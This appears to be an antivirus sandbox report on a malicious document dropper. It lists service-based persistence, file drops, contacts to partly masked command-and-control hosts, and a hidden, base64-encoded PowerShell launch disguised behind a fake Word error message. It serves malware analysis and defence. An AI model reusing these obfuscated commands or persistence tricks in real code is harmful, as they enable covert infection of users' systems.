Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\xxxviiqdozenupa.keq] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\xxxviiqdozenupa.keq] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Gvhmbxkvekqulbsw\xxxviiqdozenupa.keq",Control_RunDLL'
Creates the following services
- 'xxxviiqdozenupa.keq' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Gvhmbxkvekqulbsw\xxxviiqdozenupa.keq",Control_RunDLL
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD UwBFAFQALQBWAGEAcgBJAEEAQgBsAGUAIAAgADgAaQBoADUANgA3ACAAIAAoACAAIABbAHQAWQBwAGUAXQAoACIAewAzAH0AewAwAH0AewA0AH0AewAyAH0AewAxAH0AIgAtAGYAJwBZAHMAVAAnACwAJwBSAGUA...
Modifies file system
Creates the following files
- %HOMEPATH%\rr1sj9a\bcx4iay\k_9o.dll
Deletes the following files
- %WINDIR%\syswow64\gvhmbxkvekqulbsw\xxxviiqdozenupa.keq
Moves the following files
- from %HOMEPATH%\rr1sj9a\bcx4iay\k_9o.dll to %WINDIR%\syswow64\gvhmbxkvekqulbsw\xxxviiqdozenupa.keq
Network activity
Connects to
- '24.##1.88.85':80
- '19#.#12.178.60':80
- '50.##6.111.59':8080
TCP
HTTP GET requests
- http://ca######perty.bbtbatam.com/mhD/
- http://ca######perty.bbtbatam.com/cgi-sys/suspendedpage.cgi
- http://de#######-vehicule-maroc.com/wp-admin/c/
HTTP POST requests
- http://50.###.111.59:8080/5b3wy3q4f/wxdw/n9smv/9cgzx7a/3oaf4bjv9hdcwe/bn5bob9/ via 50.##6.111.59
UDP
- DNS ASK fa####lifetruth.com
- DNS ASK co##ou.com
- DNS ASK to####saludips.com
- DNS ASK di###oaxanh.vn
- DNS ASK ca######perty.bbtbatam.com
- DNS ASK de#######-vehicule-maroc.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD UwBFAFQALQBWAGEAcgBJAEEAQgBsAGUAIAAgADgAaQBoADUANgA3ACAAI...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Rr1sj9a\Bcx4iay\K_9O.dll Control_RunDLL
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Gvhmbxkvekqulbsw\xxxviiqdozenupa.keq",Control_RunDLL
